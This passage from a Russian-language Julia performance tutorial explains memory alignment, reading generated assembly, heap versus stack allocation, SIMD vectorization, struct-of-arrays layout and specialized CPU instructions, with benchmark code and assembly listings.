# Name: c Size: 1 bytes Offset: 6 bytes.
```
Можно заметить, что, несмотря на то, что `AlignmentTest` имеет только 4 + 2 + 1 = 7 байт фактических данных, он занимает 8 байт памяти, и доступ к объекту `AlignmentTest` из массива всегда будет выровнен.
Есть только несколько ситуаций, в которых вы можете столкнуться с проблемами выравнивания, как программист. Я могу придумать два варианта:
1. Если вы вручную создаете объект со странным размером, например, обращаясь к плотному целочисленному массиву с указателями. Это может сэкономить память, но будет времязатратно. [Моя реализация фильтра кукушки](https://github.com/jakobnissen/Probably.jl) делает так для экономии места.
2. Во время матричных операций. Если у вас есть матрица, то столбцы иногда не выровнены, потому что она плотно хранится в памяти. например, в матрице 15x15 `Float32` выровнен только первый столбец, а все остальные — нет. Это может иметь серьезные последствия при выполнении матричных операций: [Я видел бенчмарки](https://chriselrod.github.io/LoopVectorization.jl/latest/examples/matrix_vector_ops/) где умножение матрицы/вектора 80х80 происходит в 2 раза быстрее, чем умножение матрицы/вектора 79х79 из-за проблем с выравниванием.
Inspect generated assembly
--------------------------
Для запуска любая программа должна быть переведена или скомпилирована в инструкции процессора. Инструкции процессора — это то, что на самом деле работает на вашем компьютере, в отличие от кода, написанного на вашем языке программирования, который является просто *описанием* программы. Инструкции процессора обычно представляются людям в *ассемблер-коде*. Ассемблер — это язык программирования, который имеет однозначное соответствие с инструкциями процессора.
Просмотр низкоуровнего кода будет полезен для понимания некоторых из следующих разделов, которые относятся к инструкциям процессора.
В Julia мы можем легко проверить скомпилированный ассемблерный код с помощью функции `code_native` или эквивалентного макроса `@code_native`. Проделаем это для простой функции:
```
# View assembly code generated from this function call
function foo(x)
s = zero(eltype(x))
@inbounds for i in eachindex(x)
s = x[i ⊻ s]
end
return s
end
# Actually running the function will immediately crash Julia, so don't.
@code_native foo(data)
```
**код**
```
section __TEXT,__text,regular,pure_instructions
; ┌ @ In[13]:4 within 'foo'
; │┌ @ abstractarray.jl:212 within 'eachindex'
; ││┌ @ abstractarray.jl:95 within 'axes1'
; │││┌ @ abstractarray.jl:75 within 'axes'
; ││││┌ @ In[13]:3 within 'size'
movq 24(%rdi), %rax
; ││││└
; ││││┌ @ tuple.jl:157 within 'map'
; │││││┌ @ range.jl:320 within 'OneTo' @ range.jl:311
; ││││││┌ @ promotion.jl:409 within 'max'
testq %rax, %rax
; │└└└└└└
jle L75
movq %rax, %rcx
sarq $inlinе$63, %rcx
andnq %rax, %rcx, %rcx
movq (%rdi), %rdx
; │ @ In[13]:5 within 'foo'
; │┌ @ int.jl:860 within 'xor' @ int.jl:301
negq %rcx
movl $inlinе$1, %esi
xorl %eax, %eax
nopw %cs:(%rax,%rax)
nopl (%rax)
L48:
xorq %rsi, %rax
; │└
; │┌ @ multidimensional.jl:543 within 'getindex' @ array.jl:788
movq -8(%rdx,%rax,8), %rax
; │└
; │┌ @ range.jl:597 within 'iterate'
; ││┌ @ promotion.jl:398 within '=='
leaq (%rcx,%rsi), %rdi
addq $inlinе$1, %rdi
; ││└
addq $inlinе$1, %rsi
; ││┌ @ promotion.jl:398 within '=='
cmpq $inlinе$1, %rdi
; │└└
jne L48
; │ @ In[13]:7 within 'foo'
retq
L75:
xorl %eax, %eax
; │ @ In[13]:7 within 'foo'
retq
nop
; └
```
Разберемся с этим:
Строки, начинающиеся с `;`, являются комментариями и объясняют, из какого раздела кода берутся следующие инструкции. Они показывают вложенные серии вызовов функций и то, где в исходном коде они находятся. Заметим, что `eachindex`, вызывает `axes1`, которая обращается к `axes`, которая вызывает `size`. Под строкой комментария, содержащей вызов `size`, мы видим первую инструкцию процессора. Название инструкции находится в крайнем левом углу, `movq`. Название состоит из двух частей: `mov`, типа инструкции (для перемещения содержимого в регистр или из него), и суффикса `q`, сокращенного от "quad", что означает 64-битное целое число. Существуют следующие суффиксы: `b` (байт, 8 бит), `w` (слово, 16 бит), `l` (длинный, 32 бит) и `q` (quad, 64 бит).
Следующие два столбца инструкции, `24(%rdi)` и `%rax`, являются аргументами для `movq`. Это имена регистров (мы вернемся к ним позже), в которых хранятся данные для работы.
Вы также можете заметить (на увеличенном дисплее ассемблер-кода), что код сегментирован на разделы, начинающиеся с имени, с буквой "L", например, есть раздел `L48`. Переход между этими разделами происходит при использовании операторов if или *ветвей*. Здесь раздел `L48` отмечает фактический цикл. Рассмотрим следующие две инструкции в разделе `L48`:
```
; ││┌ @ promotion.jl:401 within '=='
cmpq $inlinе$1, %rdi
; │└└
jne L48
```
Первая инструкция `cmpq` (compare quad) сравнивает данные в реестре `rdi`, которые содержат данные о количестве оставшихся итераций (плюс одна), с числом 1 и устанавливает определенные флаги (провода) в процессоре на основе результата. Следующая команда `jne` (jump if not equal) совершает прыжок, если флаг "equal" не установлен в процессоре, что происходит, если остается одна или несколько итераций. Он переходит к "L48", что означает повторение этого раздела.
### Быстрая инструкция, медленная инструкция
Не все инструкции процессора одинаково быстры. Ниже приведена таблица избранных инструкций процессора с *очень приблизительными* оценками того, сколько тактов им требуется для выполнения. Вы можете найти гораздо более подробные таблицы [в этом документе](https://www.agner.org/optimize/instruction_tables.pdf). Здесь я кратко опишу скорость выполнения инструкций на современных процессорах Intel. Это очень похоже на все современные процессоры.
Инструкции процессоров обычно занимают несколько циклов процессора для завершения. Однако, если инструкция использует другую часть ЦП во время ее выполнения, ЦП обычно может запустить новую инструкцию до завершения старой: если какая-то операция X занимает, скажем, 4 такта, они могут поставить в очередь одну или даже две операции за такт, используя функцию, называемую [конвейеризация инструкций](https://en.wikipedia.org/wiki/Instruction_pipelining). Следовательно, Инструкция X имеет задержку в 4 цикла, что означает, что для завершения инструкции требуется 4 цикла. Но если процессор может поставить в очередь новую инструкцию в каждый отдельный цикл, он может иметь *взаимную пропускную способность* 1 такт, что означает *в среднем*, что требуется только 1 цикл на операцию.
В следующей таблице время измеряется в тактах:
| Instruction | Latency | Rec. throughp. |
| --- | --- | --- |
| move data | 1 | 0.25 |
| and/or/xor | 1 | 0.25 |
| test/compare | 1 | 0.25 |
| do nothing | 1 | 0.25 |
| int add/subtract | 1 | 0.25 |
| bitshift | 1 | 0.5 |
| float multiplication | 5 | 0.5 |
| vector int and/or/xor | 1 | 0.5 |
| vector int add/sub | 1 | 0.5 |
| vector float add/sub | 4 | 0.5 |
| vector float multiplic. | 5 | 0.5 |
| lea | 3 | 1 |
| int multiplic | 3 | 1 |
| float add/sub | 3 | 1 |
| float multiplic. | 5 | 1 |
| float division | 15 | 5 |
| vector float division | 13 | 8 |
| integer division | 50 | 40 |
Команда `lea` принимает три входа, A, B и C, где A должно быть 2, 4 или 8, и вычисляет AB + C. Мы вернемся к тому, что делают инструкции "вектор" позже.
Для сравнения мы можем также добавить некоторые *очень грубые* оценки других источников задержек:
| Delay | Cycles |
| --- | --- |
| move memory from cache | 1 |
| misaligned memory read | 10 |
| cache miss | 500 |
| read from disk | 5000000 |
Если у вас есть внутренний цикл, выполняющийся миллионы раз, вполне резонно проверить сгенерированный низкоуровневый код для цикла и проверить, можете ли вы выразить вычисления в терминах быстрых инструкций процессора. Например, если у вас есть целое число, которое, как вы знаете, равно 0 или выше, и вы хотите разделить его на 8 (отбрасывая любой остаток), вы можете вместо этого сделать битовый сдвиг, так как битовые сдвиги намного быстрее, чем целочисленное деление:
```
divide_slow(x) = div(x, 8)
divide_fast(x) = x >>> 3;
```
Однако современные компиляторы довольно умны и часто находят оптимальные инструкции для использования в ваших функциях, чтобы получить тот же результат, например, заменяя целочисленную инструкцию деления `idivq` на битовое смещение вправо (`shrq`), где это применимо, чтобы быть быстрее. Вам нужно проверить низкоуровневый код самостоятельно, чтобы увидеть:
```
# Calling it with debuginfo=:none removes the comments in the assembly code
code_native(divide_slow, (UInt,), debuginfo=:none)
.section __TEXT,__text,regular,pure_instructions
movq %rdi, %rax
shrq $inlinе$3, %rax
retq
nopl (%rax,%rax)
```
Minimize allocations
--------------------
Как уже упоминалось, оперативная память работает намного медленнее, чем кэш процессора. Однако работа оперативной памяти сопряжена с дополнительным недостатком: ваша операционная система (ОС) отслеживает, какой процесс имеет доступ к какой памяти. Если бы каждый процесс имел доступ ко всей памяти, то было бы тривиально сделать программу, которая сканирует вашу оперативную память на наличие секретных данных, таких как банковские пароли, или существовала бы возможность для одной программы, случайно перезаписать память другой. Вместо этого каждому процессу ОС выделяет кучу памяти, и им разрешается только читать или записывать выделенные данные.
Создание новых объектов в оперативной памяти называется выделением, а уничтожение — освобождением. На самом деле, эти процессы не являются *созданием* или *разрушением* в прямом смысле, а скорее актом запуска и остановки отслеживания памяти. Память, которая не отслеживается, в конечном итоге будет перезаписана другими данными. Выделение и освобождение занимают значительное количество времени в зависимости от размера объектов, от нескольких десятков до сотен наносекунд на выделение.
В таких языках программирования, как Julia, Python, R и Java, освобождение производится автоматически с помощью программы, называемой сборщиком мусора (GC). Эта программа отслеживает, какие объекты оказываются недоступными программисту, и освобождает их. Например:
```
thing = [1,2,3]
thing = nothing
```
Нет никакого способа вернуть исходный массив "[1,2,3] " обратно, он недостижим. Поэтому он просто тратит впустую оперативную память и ничего не делает. Это "мусор". Выделение и освобождение объектов иногда приводит к тому, что GC начинает сканирование всех объектов в памяти и освобождает недостижимые, что вызывает значительное отставание. Вы также можете запустить сборщик мусора вручную:
```
GC.gc()
```
Следующий пример иллюстрирует разницу во времени, затраченном на функцию, которая выделяет вектор со временем, которое будет выполняться функция просто изменяющая вектор, ничего не выделяя:
**Код**
```
function increment(x::Vector{<:Integer})
y = similar(x)
@inbounds for i in eachindex(x)
y[i] = x[i] + 1
end
return y
end
function increment!(x::Vector{<:Integer})
@inbounds for i in eachindex(x)
x[i] = x[i] + 1
end
return x
end
function print_mean(trial)
println("Mean time: ", BenchmarkTools.prettytime(BenchmarkTools.mean(trial).time))
end
data = rand(UInt, 2^10);
```
```
# Запустите один раз, чтобы скомпилировать функцию - мы не хотим измерять компиляцию
increment(data); increment!(data)
print_mean(@benchmark increment(data));
print_mean(@benchmark increment!(data));
# Mean time: 1.799 μs
# Mean time: 81.788 ns
```
На моем компьютере функция выделяющая память в среднем работает более чем в 20 раз медленнее. Это связано с несколькими свойствами кода:
* Во-первых, само выделение требует времени
* Во-вторых, выделенные объекты в конечном итоге должны быть освобождены, что также требует времени
* В-третьих, повторные выделения запускают GC, вызывая накладные расходы
* В-четвертых, большее количество выделений иногда означает менее эффективное использование кэша, поскольку вы используете больше памяти
Обратите внимание, что я использовал среднее время вместо медианы, так как для этой функции GC запускает только приблизительно каждый 30-й вызов, но при этом потребляет 30-40 мкс. Все это означает, что производительный код должен сводить выделение ресурсов к минимуму. Обратите внимание, что макрос `@btime` печатает количество и размер выделений памяти. Эта информация дается потому, что предполагается, что любой программист, который заботится о тестировании своего кода, будет заинтересован в сокращении аллокаций.
### Не на все объекты нужно выделять память
Внутри оперативной памяти данные хранятся либо в стеке, либо в куче. Стек — это простая структура данных с началом и концом, похожая на `Vector` в Julia. Стек может быть изменен только путем добавления или вычитания элементов из конца, аналогично `Vector`'у только с двумя мутирующими операциями `push!` и `pop!`. Эти операции в стеке выполняются очень быстро. Однако, когда мы говорим об аллокациях, мы говорим о данных в куче. В отличие от стека, куча имеет неограниченный размер (ну, она имеет размер оперативной памяти вашего компьютера) и может быть изменена произвольно, при удалении любых объектов.
Интуитивно может показаться очевидным, что все объекты будучи помещены в оперативную память, должны иметь возможность быть удаленными в любое время программой, и поэтому должны быть выделены в куче. И для некоторых языков, таких как Python, это верно. Однако это не относится к Джулии и другим эффективным компилируемым языкам. Целые числа, например, часто могут быть помещены в стек.
Почему некоторые объекты должны выделяться как куча, а другие могут быть в виде стека? Чтобы быть заточенным под стек, компилятор должен точно знать, что:
* Объект имеет достаточно маленький размер и помещается в стек. Это необходимо по техническим причинам для работы стека.
* Компилятор может точно предсказать, когда ему нужно добавить и уничтожить объект, просто открыв стек (аналогично вызову `pop!` на `Vector`). Обычно это относится к локальным переменным в компилируемых языках.
Джулия имеет еще больше ограничений на объекты, выделенные стеком.
* Объект должен иметь фиксированный размер, известный во время компиляции.
* Компилятор должен знать, что объект никогда не изменяется. Процессор может свободно копировать объекты, выделенные стеком, а для неизменяемых объектов нет способа отличить копию от оригинала. Это стоит повторить: *с неизменяемыми объектами невозможно отличить копию от оригинала*. Это дает компилятору и процессору определенные свободы при работе с ним.
В Julia у нас есть понятие *bitstype*, которое представляет собой объект, который рекурсивно содержит объекты, выделяемые не кучей. Выделенные в куче объекты — это объекты типов `String`, `Array`, `Symbol`, изменяемые объекты или объекты, содержащие любой из предыдущих. Битовые типы более эффективны именно потому, что они неизменяемы, фиксированы по размеру и почти всегда могут быть оформлены как стек. Последний пункт также объясняет, почему объекты неизменяемы по умолчанию в Julia, и приводит к еще одному совету производительности: используйте неизменяемые объекты везде, где это возможно.
Что это означает на практике? В Julia это означает, что если вы хотите быстрые выделяемые как стек объекты, то:
* Ваш объект должен быть создан, использован и уничтожен в полностью скомпилированной функции, чтобы компилятор точно знал, когда ему нужно создать, использовать и уничтожить объект. Если объект возвращается для последующего использования (а не сразу возвращается в другую, полностью скомпилированную функцию), мы говорим, что объект *экранируется* и должен быть выделен.
* Тип вашего объекта должен быть битовым типом.
* Ваш тип должен быть ограничен по размеру. Я точно не знаю, насколько большим он должен быть, но 100 байт — это нормально.
* Точные требования к памяти вашего типа должно быть известно компилятору.
```
abstract type AllocatedInteger end
struct StackAllocated <: AllocatedInteger
x::Int
end
mutable struct HeapAllocated <: AllocatedInteger
x::Int
end
```
Сравним подноготную приведенных выше объектов:
```
@code_native HeapAllocated(1)
.section __TEXT,__text,regular,pure_instructions
; ┌ @ In[20]:8 within 'HeapAllocated'
pushq %rbx
movq %rsi, %rbx
movabsq $inlinе$jl_get_ptls_states_fast, %rax
callq *%rax
movabsq $inlinе$jl_gc_pool_alloc, %rcx
movq %rax, %rdi
movl $inlinе$1400, %esi ## imm = 0x578
movl $inlinе$16, %edx
callq *%rcx
movabsq $inlinе$4470743600, %rcx ## imm = 0x10A7A2230
movq %rcx, -8(%rax)
movq %rbx, (%rax)
popq %rbx
retq
nopl (%rax)
; └
```
Обратите внимание на инструкции `callq` в `HeapAllocated`. Эта инструкция вызывает другие функции, а это означает, что на самом деле для создания объекта `HeapAllocated`, действительно требуется гораздо больше кода. В отличии от этого, в `StackAllocated` нужно всего несколько инструкций:
```
@code_native StackAllocated(1)
.section __TEXT,__text,regular,pure_instructions
; ┌ @ In[20]:4 within 'StackAllocated'
movq %rsi, %rax
retq
nopw %cs:(%rax,%rax)
nop
; └
```
Поскольку битовые типы не должны храниться в куче и могут быть скопированы свободно, то они хранятся *inline* в массивах. Это означает, что такого рода объекты могут храниться непосредственно в памяти массива. Не-битовые типы имеют уникальную идентичность и расположение в куче. Они отличаются от копий, поэтому не могут быть свободно скопированы, и поэтому массивы содержат ссылку на место памяти в куче, где они хранятся. Доступ к такому объекту из массива тогда означает сначала доступ к массиву, чтобы получить ячейку памяти, а затем доступ к самому объекту, используя эту ячейку памяти. Помимо двойного доступа к памяти, объекты хранятся в куче менее эффективно, а это означает, что больше памяти необходимо скопировать в кэш процессора, что означает больше пропусков кэша. Следовательно, даже при хранении в куче в массиве битовые типы могут храниться более эффективно.
```
Base.:+(x::Int, y::AllocatedInteger) = x + y.x
Base.:+(x::AllocatedInteger, y::AllocatedInteger) = x.x + y.x
data_stack = [StackAllocated(i) for i in rand(UInt16, 1000000)]
data_heap = [HeapAllocated(i.x) for i in data_stack]
@btime sum(data_stack)
@btime sum(data_heap);
# 130.958 μs (1 allocation: 16 bytes)
# 951.989 μs (1 allocation: 16 bytes)
```
Мы можем удостовериться, что массив `data_stack` действительно хранит данные `StackAllocated`, тогда как `data_heap` содержит указатели (т. е. адреса памяти):
```
println("First object of data_stack: ", data_stack[1])
println("First data in data_stack array: ", unsafe_load(pointer(data_stack)), '\n')
println("First object of data_heap: ", data_heap[1])
first_data = unsafe_load(Ptr{UInt}(pointer(data_heap)))
println("First data in data_heap array: ", repr(first_data))
println("Data at address ", repr(first_data), ": ",
unsafe_load(Ptr{HeapAllocated}(first_data)))
#=
First object of data_stack: StackAllocated(10099)
First data in data_stack array: StackAllocated(10099)
First object of data_heap: HeapAllocated(10099)
First data in data_heap array: 0x0000000139a7e570
Data at address 0x0000000139a7e570: HeapAllocated(10099)
=#
```
Exploit SIMD vectorization
--------------------------
Настало время еще раз обновить нашу упрощенную компьютерную схему. Процессор работает только с данными, содержащимися в регистрах. Это небольшие слоты фиксированного размера (например, размером 8 байт) внутри самого процессора. Регистр предназначен для хранения одного фрагмента данных, например целого числа или числа с плавающей запятой. Как указано в разделе, посвященном ассемблерному коду, каждая инструкция обычно относится к одному или двум регистрам, содержащим данные, с которыми работает операция:
![$ [CPU] \leftrightarrow [REGISTERS] \leftrightarrow [CPU\,CACHE] \leftrightarrow [RAM] \leftrightarrow [DISK\,CACHE] \leftrightarrow [DISK] $](https://habrastorage.org/getpro/habr/formulas/1c1/f26/1ac/1c1f261ac84294660c78cd683b143a7c.svg)
Для работы со структурами данных размером более одного регистра данные должны быть разбиты на более мелкие части, которые помещаются внутри регистра. Например, при добавлении двух 128-битных целых чисел на моем компьютере:
```
@code_native UInt128(5) + UInt128(11)
.section __TEXT,__text,regular,pure_instructions
; ┌ @ int.jl:53 within '+'
movq %rdi, %rax
addq %rcx, %rsi
adcq %r8, %rdx
movq %rsi, (%rdi)
movq %rdx, 8(%rdi)
retq
nopw %cs:(%rax,%rax)
nopl (%rax,%rax)
; └
```
Там нет регистра, который может сделать 128-битное сложение. Сначала младшие 64 бита должны быть добавлены с помощью инструкции `addq`, помещенной в регистр. Затем верхние биты добавляются с помощью инструкции `adcxq`, которая добавляет цифры, но также использует бит переноса из предыдущей инструкции. Наконец, результаты перемещаются по 64 бита за раз с помощью инструкций `movq`.
Малый размер регистров служит узким местом для пропускной способности процессора: он может работать только с одним int/float за раз. Чтобы обойти это, современные процессоры содержат специализированные 256-битные регистры (или 128-битные в старых процессорах, или 512-битные в совершенно новых), которые могут содержать 4 64-битных int/float одновременно, или 8 32-битных целых чисел и т. д. Смущает то, что данные в таких широких регистрах называются "векторами". ЦП имеет доступ к инструкциям, которые могут выполнять различные операции над векторами, оперируя 4 64-битными целыми числами в одной инструкции. Это называется "одна инструкция, несколько данных", *SIMD* или *векторизация*. Примечательно, что 4x64-битная операция *не* то же самое, что 256-битная операция, например, нет переноса между 4 64-битными целыми числами при добавлении двух векторов. Вместо этого 256-битная векторная операция эквивалентна 4 отдельным 64-битным операциям.
Мы можем проиллюстрировать это на следующем примере:
```
# Create a single statically-sized vector of 8 32-bit integers
# I could also have created 4 64-bit ones, etc.
a = @SVector Int32[1,2,3,4,5,6,7,8]
# Don't add comments to output
code_native(+, (typeof(a), typeof(a)), debuginfo=:none)
.section __TEXT,__text,regular,pure_instructions
movq %rdi, %rax
vmovdqu (%rdx), %ymm0
vpaddd (%rsi), %ymm0, %ymm0
vmovdqu %ymm0, (%rdi)
vzeroupper
retq
nopw %cs:(%rax,%rax)
nopl (%rax)
```
Здесь два 8\*32-битных вектора суммируются вместе одной инструкцией. Здесь процессор использует одну инструкцию `vpaddd` (vector packed add double) для суммирования 8 32-битных целых чисел, а также соответствующую инструкцию перемещения `vmovdqu`. Обратите внимание, что векторные инструкции для процессора начинаются с буквы `v`.
Стоит упомянуть о взаимодействии между SIMD и выравниванием: если серия 256-битных (32-байтовых) нагрузок SIMD не выровнена, то до половины нагрузок могут пересекать границы линий кэша, в отличие от всего лишь 1/8 из 8-байтовых нагрузок. Таким образом, выравнивание является гораздо более серьезной проблемой при использовании SIMD. Поскольку начало массива всегда выровнено, это обычно не является проблемой, но в тех случаях, когда вы не гарантируете, что начнете с выровненной начальной точки, например при матричных операциях, это может иметь существенное значение. В совершенно новых процессорах с 512-битными регистрами проблемы еще хуже, так как размер SIMD совпадает с размером строки кэша, поэтому *все* нагрузки будут смещены, если будет смещена начальная нагрузка.
Векторизация SIMD, например, 64-битных целых чисел может увеличить пропускную способность почти в 4 раза, поэтому она имеет огромное значение в высокопроизводительном программировании. Компиляторы автоматически векторизуют операции, если это возможно. Что может помешать этой автоматической векторизации?
### SIMD нуждается в непрерывной итерации фиксированной длины
Поскольку векторизованные операции работают с несколькими данными одновременно, невозможно прервать цикл в произвольной точке. Например, если 4 64-битных целых числа обрабатываются за один такт, то невозможно остановить цикл SIMD после обработки 3 целых чисел. Предположим, у вас есть такой цикл:
```
for i in 1:8
if foo()
break
end
# do stuff with my_vector[i]
end
```
Здесь цикл может закончиться на любой итерации из-за оператора break. Поэтому любая SIMD-инструкция, загруженная для нескольких целых чисел, может работать с данными *после того*, как цикл разрывается, то есть с данными, которые никогда не должны быть прочитаны. Это было бы неправильным поведением, и поэтому компилятор не может использовать инструкции SIMD.
Хорошее эмпирическое правило заключается в том, что для simd предпочтительны:
* Цикл с заданной длиной, поэтому она знает, когда остановиться, и
* Цикл без ветвей (т. е. операторов if) в цикле
Фактически, даже boundschecking, то есть проверка того, что вы не индексируете вне границ вектора, вызывает ветвление. В конце концов, если предполагается, что код вызывает ошибку границ после 3 итераций, даже одна операция SIMD будет неправильной! Чтобы достичь векторизации SIMD, все boundschecks должны быть отключены. Мы можем использовать это для демонстрации влияния SIMD:
**Код**
```
function sum_nosimd(x::Vector)
n = zero(eltype(x))
for i in eachindex(x)
n += x[i]
end
return n
end
function sum_simd(x::Vector)
n = zero(eltype(x))
# By removing the boundscheck, we allow automatic SIMD
@inbounds for i in eachindex(x)
n += x[i]
end
return n
end
# Make sure the vector is small enough to fit in cache so we don't time cache misses
data = rand(UInt64, 4096);
```
```
@btime sum_nosimd(data)
@btime sum_simd(data);
# 1.777 μs (1 allocation: 16 bytes)
# 182.045 ns (1 allocation: 16 bytes)
```
На моем компьютере код SIMD работает в 10 раз быстрее, чем код без SIMD. Только на SIMD приходится всего около 4-кратных улучшений (с тех пор как мы перешли от 64 бит на итерацию к 256 битам на итерацию). Остальная часть выигрыша происходит от того, что вы не тратите время на проверку границ, и от автоматического развертывания цикла (объясненного позже), что также стало возможным благодаря аннотации `@inbounds`.
### SIMD нуждается в цикле, где порядок циклов не имеет значения
SIMD может изменить порядок, в котором обрабатываются элементы массива. Если результат какой-либо итерации зависит от любой предыдущей итерации таким образом, что элементы не могут быть переупорядочены, компилятор обычно не будет векторизировать. Часто, цикл автоматически не векторизован из-за тонкостей, в которых данные перемещаются в регистрах, что означает, что между элементами массива будет некоторая скрытая зависимость памяти.
Представьте, что мы хотим суммировать некоторые 64-битные целые числа в массиве с помощью SIMD. Для простоты предположим, что массив состоит из 8 элементов: `A`, `B`, `C`… `H`. В обычном цикле, отличном от SIMD, сложения будут выполняться следующим образом:
Тогда как при загрузке целых чисел с помощью SIMD четыре 64-битных целых числа будут загружены в один вектор , а остальные четыре — в другой . Эти два вектора будут суммированы: . После цикла будут суммированы четыре целых числа в результирующем векторе. Таким образом, общий порядок будет следующим:
Возможно, удивительно, что сложение чисел с плавающей запятой может давать разные результаты в зависимости от порядка (т. е. сложение с плавающей запятой не является ассоциативным):
```
x = eps(1.0) * 0.4
1.0 + (x + x) == (1.0 + x) + x
# false
```
по этой причине суммирование для float не будет автоматически векторизовано:
```
data = rand(Float64, 4096)
@btime sum_nosimd(data)
@btime sum_simd(data);
# 3.510 μs (1 allocation: 16 bytes)
# 3.836 μs (1 allocation: 16 bytes)
```
Однако высокопроизводительные языки программирования обычно предоставляют команду, сообщающую компилятору, что можно переупорядочить цикл, даже для неассоциативных циклов. В Julia этим занимается макрос `@simd` :
```
function sum_simd(x::Vector)
n = zero(eltype(x))
# Here we add the '@simd' macro to allow SIMD of floats
@inbounds @simd for i in eachindex(x)
n += x[i]
end
return n
end
data = rand(Float64, 4096)
@btime sum_nosimd(data)
@btime sum_simd(data);
# 3.510 μs (1 allocation: 16 bytes)
# 247.368 ns (1 allocation: 16 bytes)
```
Джулия также предоставляет макрос `@simd ivdep`, который сообщает компилятору, что по ходу цикла нет зависимостей памяти. Однако я *решительно не рекомендую* использовать этот макрос, если вы *действительно* не знаете, что делаете. В общем, компилятор лучше знает, когда цикл имеет зависимости от памяти, и неправильное использование `@simd ivdep` может очень легко привести к ошибкам, которые трудно обнаружить.
Struct of arrays
----------------
Если мы создадим массив, содержащий четыре объекта `AlignmentTest` `A`, `B`, `C` и `D`, то объекты будут лежать в массиве впритык, вот так:
```
Objects: | A | B | C | D |
Fields: | a | b |c| | a | b |c| | a | b |c| | a | b |c| |
Byte: 1 9 17 25 33
```
Еще раз обратите внимание, что байты № 8, 16, 24 и 32 пусты для сохранения выравнивания, что приводит к потере памяти.
Теперь предположим, что вы хотите выполнить операцию со всеми полями структур `.a` ([broadcasting](https://docs.julialang.org/en/v1/manual/arrays/#Broadcasting)). Поскольку поля `.a` разбросаны на 8 байт друг от друга, операции SIMD гораздо менее эффективны (загрузка до 4 полей одновременно), чем если бы все поля `.a` хранились вместе (где 8 полей могли бы поместиться в 256-битном регистре). При работе только с полями `.a` будут считываться все 64-байтовые строки кэша, из которых только половина или 32 байта будут полезны. Мало того, что это приводит к большему количеству пропусков кэша, нам также потребуются инструкции, чтобы выделить половину нужных данных из регистров SIMD.
Структура памяти, которую мы имеем выше, называется "массив структур", потому что, ну, это массив, заполненный структурами. Вместо этого мы можем структурировать наши 4 объекта от `A` до `D` как "структуру массивов". Концептуально это может выглядеть так:
```
struct AlignmentTestVector
a::Vector{UInt32}
b::Vector{UInt16}
c::Vector{UInt8}
end
```
Со следующим распределением памяти для каждого поля:
```
Object: AlignmentTestVector
.a | A | B | C | D |
.b | A | B | C | D |
.c |A|B|C|D|
```
Выравнивание больше не является проблемой, никакое пространство не тратится впустую на компоновку. При прохождении через поля `а` все строки кэша содержат полные 64 байта релевантных данных, поэтому операции SIMD не нуждаются в дополнительных операциях для выбора релевантных данных:
```
Base.rand(::Type{AlignmentTest}) = AlignmentTest(rand(UInt32), rand(UInt16), rand(UInt8))
N = 1_000_000
array_of_structs = [rand(AlignmentTest) for i in 1:N]
struct_of_arrays = AlignmentTestVector(rand(UInt32, N), rand(UInt16, N), rand(UInt8, N));
@btime sum(x -> x.a, array_of_structs)
@btime sum(struct_of_arrays.a);
# 296.427 μs (1 allocation: 16 bytes)
# 86.857 μs (1 allocation: 16 bytes)
```
Use specialized CPU instructions
--------------------------------
Большая часть кода использует типичные инструкции процессора: перемещение, сложение, умножение, битовые сдвиги, и, или, исключающее или, переходы и так далее. Однако процессоры в типичном современном ноутбуке поддерживают множество дополнительных инструкций процессора. Как правило, если определенная операция активно используется в потребительских ноутбуках, производители процессоров добавляют специальные инструкции для ускорения этих операций. В зависимости от аппаратной реализации инструкций, выигрыш в скорости от использования этих инструкций может быть значительным.
Джулия предлагает несколько специальных инструкций, таких как:
* Количество ненулевых битов в целочисленном числе эффективно подсчитывается с помощью инструкции `popcnt`, предоставляемой через функцию `count_ones`.
* Инструкции `tzcnt` подсчитывают количество конечных нулей в битах целых чисел, выставляемое с помощью функции `trailing_zeros`.
* Порядок отдельных байтов в многобайтовом целом может быть изменен с помощью инструкции `bswap`, предоставляемой через функцию `bswap`. Это может быть полезно, когда приходится иметь дело с [endianness](https://en.wikipedia.org/wiki/Endianness).
Следующий пример иллюстрирует разницу в производительности между ручной реализацией функции count\_ones и встроенной версией, которая использует инструкцию `popcnt`:
```
function manual_count_ones(x)
n = 0
while x != 0
n += x & 1
x >>>= 1
end
return n
end
data = rand(UInt, 10000)
@btime sum(manual_count_ones, data)
@btime sum(count_ones, data);
# 218.341 μs (1 allocation: 16 bytes)
# 2.009 μs (1 allocation: 16 bytes)
```
Тайминги, которые вы здесь наблюдаете, будут зависеть от того, достаточно ли умен ваш компилятор, чтобы понять, что вычисление в первой функции может быть выражено как инструкция `popcnt`. На моем компьютере компилятор не может сделать такой вывод, и вторая функция достигает того же результата более чем в 100 раз быстрее.
### Вызов инструкций процессора
Джулия позволяет напрямую вызывать инструкции процессора. Это обычно не рекомендуется, так как не все ваши пользователи будут иметь доступ к одному и тому же процессору с одинаковыми инструкциями.
Последние процессоры содержат специальные инструкции для AES-шифрования и SHA256-хэширования. Если вы хотите вызвать эти инструкции, вы можете использовать бэкэнд-компилятор Julia, LLVM, напрямую. В приведенном ниже примере я создаю функцию, которая непосредственно вызывает инструкцию `vaesenc` (один проход шифрования AES) :
```
# This is a 128-bit CPU "vector" in Julia
const __m128i = NTuple{2, VecElement{Int64}}
# Define the function in terms of LLVM instructions
aesenc(a, roundkey) = ccall("llvm.x86.aesni.aesenc", llvmcall, __m128i, (__m128i, __m128i), a, roundkey);
```
Мы можем проверить его работу, просмотрев сборку функции, которая должна содержать только одну инструкцию `vaesenc`, а также инструкцию `retq` (return) и `nopw` (do nothing, используемый в качестве наполнителя для выравнивания инструкций процессора в памяти) :
```
@code_native aesenc(__m128i((213132, 13131)), __m128i((31231, 43213)))
.section __TEXT,__text,regular,pure_instructions
; ┌ @ In[36]:5 within 'aesenc'
vaesenc %xmm1, %xmm0, %xmm0
retq
nopw %cs:(%rax,%rax)
; └
```
Алгоритмы, использующие специализированные инструкции, могут быть чрезвычайно быстры. [В блоге](https://mollyrocket.com/meowhash), компания видеоигр Molly Rocket представила новую некриптографическую хэш-функцию с использованием инструкций AES, которая достигла беспрецедентных скоростей.
Inline small functions
----------------------
Рассмотрим ассемблирование такой функции:
```
# Simply throw an error
f() = error()
@code_native f()
.section __TEXT,__text,regular,pure_instructions
; ┌ @ In[38]:2 within 'f'
pushq %rax
movabsq $inlinе$error, %rax
callq *%rax
nopl (%rax)
; └
```
Этот код содержит инструкцию `callq`, которая вызывает другую функцию. Вызов функции сопровождается некоторыми накладными расходами в зависимости от аргументов функции и других вещей. Хотя время, затраченное на вызов функции, измеряется в наносекундах, оно может складываться, если вызываемая функция находится в узком цикле.
